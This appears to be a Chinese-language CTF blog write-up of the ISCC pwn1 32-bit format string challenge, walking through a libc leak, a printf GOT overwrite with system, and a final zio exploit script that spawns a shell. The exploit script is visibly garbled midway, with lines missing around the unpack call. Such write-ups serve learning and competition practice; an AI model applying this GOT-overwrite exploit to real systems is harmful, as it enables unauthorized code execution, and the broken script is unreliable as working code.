ISCC之pwn1格式化字符串漏洞详解!


作为小白的我,自从入了ctf的坑就再也没爬起来过,从无到有实在是很辛苦。仅以此片纪念我的青春。

 

直接进入正题。这是个很明显的32位的格式化字符串漏洞。

ISCC之pwn1格式化字符串漏洞详解!_第1张图片


上手就先leak出libc地址,求偏移得到system地址,(我也忘了有没有给lib库,反正我是在本地调试,拿自己的lib库。Ps:在本地可以通过./libc.so.6或者ldd --version 查看libc的版本号,作为新手还是上两张图吧。)

ISCC之pwn1格式化字符串漏洞详解!_第2张图片

ISCC之pwn1格式化字符串漏洞详解!_第3张图片

可以看到我的是2.19,注意下路径

ISCC之pwn1格式化字符串漏洞详解!_第4张图片


至于什么是格式化字符串漏洞,大家可以参考这篇文章http://www.sohu.com/a/130725162_472906很值得学习。

另外观察代码可以发现,没有return,也就没办法控制返回地址。对于格式化漏洞来说,难点在于怎么写,往哪写?读地址很容易,写地址会难一点。可能需要考虑缓冲区的问题,分几次写,每次写多少字节,这都需要自己去总结经验。一般来说建议先写一个字节在写两个字节(这是32位的题目哦,对于64位的题情况会略有不同,话说我还没做过64位的格式化字符串呢,不过大差不差啦。)。多试错。

还是上图吧!

ISCC之pwn1格式化字符串漏洞详解!_第5张图片

这是调试的代码。我先往bss中写,便于观察!!

注意小端对齐(逆过来看)!通常来说l动态链接的地址都是以b7打头,因此我们只需要覆盖后三个字节即可。接下来复写got表地址


可以看到已经成功覆盖了printf的got表,这也就意味着,当我们再调用printf这个函数时程序会执行system函数,这个程序的进程流也就被我们给劫持了。

那么问题来了。怎么才能在执行system(“/bin/sh”)[这是打开一个终端的意思,get shell]

刚开始我也没啥思路,管它呢,先试试再说!!!

咦!跟原来想象的有点不一样啊!

本来不想贴过程的。不过写这篇文章的目的是为了给小白看的。于是贴上过程。

从这里可以看出来下一个system的参数是”plzi nput$”.这是不可避免的,那么接下来会发生什么呢!?会不会直接退出呢!?

ISCC之pwn1格式化字符串漏洞详解!_第6张图片

当调用printf时警告,意思就是要跳到一个非法的地址(因为被我们给劫持了)。OK!

来到这。一直F8………直到天荒地老。。。。。。

ISCC之pwn1格式化字符串漏洞详解!_第7张图片

咦!什么都没有发生?正常返回了。来看看输出。

ISCC之pwn1格式化字符串漏洞详解!_第8张图片

哦。原来system(“plzi nput$”)什么也不会发生,只是没有打印出来而已。那么我就放心了。只要程序在这里不宕,那么下一次调用的时候我就可以控制它的参数。

在这看到了吗,这个format我们可以控制,接下来就很明显了!执行system时栈上的地址

ISCC之pwn1格式化字符串漏洞详解!_第9张图片


黑暗渐渐逝去,即将迎来光明!

ISCC之pwn1格式化字符串漏洞详解!_第10张图片

好。我们已经成功攻破了自己的电脑。比赛的时候要注意,libc的不同会导致偏移不同,得看具体的环境了。

已经写得很详细了,虽然简单但对于,没有接触过的新手来说,也还是有难度的。主要难度还是在写地址那一块吧!很难讲,自己多尝试,可以试着每次写一个字节,或者一次写三个字节,或者先写两个字节再写一个字节,总之在尝试的过程中会遇到很多的问题。我就不一一列举了!

最后感谢司!我万能的..heihei

最后的最后贴上完整payload。


 

from zio import *
import time
import struct
target=('127.0.0.1',10000)
#target=('115.28.185.220',1111)
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
c2=raw_input('go1?')
io.read_until('plz input$')
io.writeline('1')
io.read_until('please input your name:')
payload='%7$s'+l32(0x0804a010)#printf_got
io.writeline(payload)
test=io.read_until('\xb7')
printf_libc=struct.unpack('> 8) - len1 - 0x8
payload+='%'+str(len1) + 'x%6$hhn'
payload+='%'+str(len2) + 'x%7$hn'
io.writeline(payload)
io.read_until('2.heiheihei')
io.writeline('1')
io.read_until('please input your name:')
io.writeline('/bin/sh\x00')
io.interact()

你可能感兴趣的:(PWN,CTF)